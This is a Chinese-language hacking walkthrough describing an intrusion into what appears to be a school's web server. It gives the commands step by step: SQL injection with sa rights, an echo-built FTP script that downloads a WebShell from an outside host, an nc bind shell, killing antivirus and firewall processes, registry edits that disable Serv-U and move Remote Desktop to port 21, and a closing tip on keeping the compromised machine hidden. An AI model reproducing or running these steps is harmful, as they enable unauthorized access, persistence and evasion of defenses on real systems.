第一步:发现注入漏洞
在它的一个新闻显示页面的联接上加一个"'",呵呵,可以注入!看看是什么权限的,在后面在加一个 and user>0
显示有dbo的字样,晕,竟然可以拥有SA的权限,唉,真不知道管理员是怎么搞的!
先不管这些,拿出明小子的domain,现在的版本到了3.5了(和其他注入工具相比,domain用起来还是比较顺手的,不过命令回显有点糟糕)。
既然发现了注入点,那么开始干活吧!
第二步:上传文件
既然现在有了sa的权限,那么就可以执行管理员权限的命令了。不过因为一般工具的回显都很糟糕(至少我用NBSI,domain等都有这样的问题),所以还是先搞个WebShell上去再说吧。首先需要找到web根目录,不然WebShell放哪啊?!在domain的命令行下多dir几次就可以找到了,根据一般人的习惯,根目录不会太深,取的文件名和网站多少有点关系。估计没有几个管理员会把根目录名取得很怪异并且放在层次很深的地方(这是管理员都有的通病,怕麻烦,图方便,可是方便了自己也方便了我们,嘿嘿)。很快就可以找到根目录为 d:/ccs。
那么就上传WebShell 吧!可是这几个注入工具的上传功能都有点问题,要么传小文件没问题,传大了就不行了!要么根本没传上去了,现成的工具没法上传了,咋办?不怕不怕,总不能在一棵树上吊死吧!用ftp下载!在domain的命令行下依次输入下列语句:
echo open showff.51.net>>c:\ftp
echo showff>>c:\ftp
echo 123456>>c:\ftp
echo cd public_html>>c:\ftp
echo get WebShell.asp d:\ccs\index_admin.asp>>c:\ftp
echo bye>>c:\ftp
当然首先你要有一个FTP的空间,我用的虎翼的FTP,速度很快。这样在服务器c盘上就生成了一个名为ftp的文件内容就是刚输入的东东。命令行下输入ftp -s:c:\ftp,点击执行,这样一个 WebShell就下载到我们可爱的肉鸡上了。浏览器输入地址查看进入我们的WebShell 里面去,我们下载的海洋2006,功能强大,好用.
到现在为止,如果只是想活动WebShell的话似乎就够了,海阳的WebShell可以干很多事情了。但是我们的目标是进一步获取更大的权限。
第三步:偷天换日更换服务
用WebShell上传一个nc,然后在domain的命令行里面执行 nc-e cmd.exe –l –p 43958,在自己的电脑上执行telnet xxx.xxx.edu.cn 43958
没有任何反应,显示为”不能连接到主机”这样的字样。很好,很正常,服务器里面没有杀毒软件和防火墙软件才怪了。为了进一步证实这点,在domain里面执行netstat –a,根据返回结果我又telnet了几个打开的端口.
其中80端口和21端口开了,都可以访问到,其他的端口根本没法使用!
那么就用pslist和pskill把相关的杀毒软件和防火墙关了呗!呵呵,当然我也这么做了,但事实上没那么简单。这台服务器上虽然有瑞星防火墙,但是关了之后当我再次telnet远处的nc时根本没有反应,这是为什么呢?(沉思了几秒)呵呵,其实很简单的,因为这是一个学校的里面的内部网站,八成在这台服务器的周围存在着其他类型的防火墙或者网关之类的东西,只允许外部访问这台服务器的80和21端口。
可是80和21端口都被占用了,难道我们就没法使用我们自己的木马或者获取3389远程控制权吗?非也!看我来施展偷天换日大法!
首先我们要意识到80端口必须存在不然很快就会被发现被黑,那么只能拿21端口下手了。一般只是管理员使用文件上传而已,暂时可以不被发现的。用net start命令查看发现对方使用的Serv-U的FTP服务器。
Step one:设法使Serv-U服务禁止,这样它就不能开机自动运行而占用21端口了。
方法如下:编辑一个reg文件,内容如下:
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
"Start"=dword:00000004
注意REGEDIT4下面要有一空行。Start为2是自动,3是手动,4是禁止。这和服务里面的设置是一一对应的。保存为a.reg文件,用WebShell上传至服务器的d:/ccs/index/a.reg,使用domain运行 regedit /s d:/ccs/index/a.reg 这样Serv-U服务就被禁止了。随后用在domain里面使用命令net stop serv-u将现有的ftp进程关掉。
Step two:修改Terminal远程登录的端口号。原本是3389的,现在要改为21。可以编辑注册表修改,也可以直接运行3389端口修改器类似这样的程序。我使用x3389程序修改。直接上传至服务器,在domain里面执行x3389.exe 21即可。随后设法开启3389服务,网上有很多这样的方法,这里不说了。如果想使Terminal服务总是开机自动运行,还需要编辑一reg文件内容如下:
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
"Start"=dword:00000002
保存为b.reg,上传服务器并运行regedit /s d:/ccs/index/b.reg。如果嫌开Terminal服务麻烦,干脆直接传个Radmin或者其他什么远程控制软件设置端口为21不就得了吗?
Step three:重启服务器。上传个reboot工具,执行重启。这是为了Terminal服务需要的。如果使用其他木马可以不考虑重启。
重启后,在用domain运行net start ,发现Serv-U不见了,呵呵!那么,现在就可以大摇大摆的进入服务器了!这里我随便上传了一个nc试试效果,执行命令为nc –e cmd.exe –l –p 21,然后在本地执行telnet xxx.xxx.edu.cn 21,返回结果。
总结:
其实,只要把原有的FTP禁掉,空出21端口来,那其他的事情也就好做了。主要是开始如何察觉到它的周围防火墙的情况以及允许通过的端口。了解了这些,服务器还不是任我们鱼肉吗?当然,为了保证肉鸡的长久性,稳定性和不被发现性,最好使用隧道技术通过.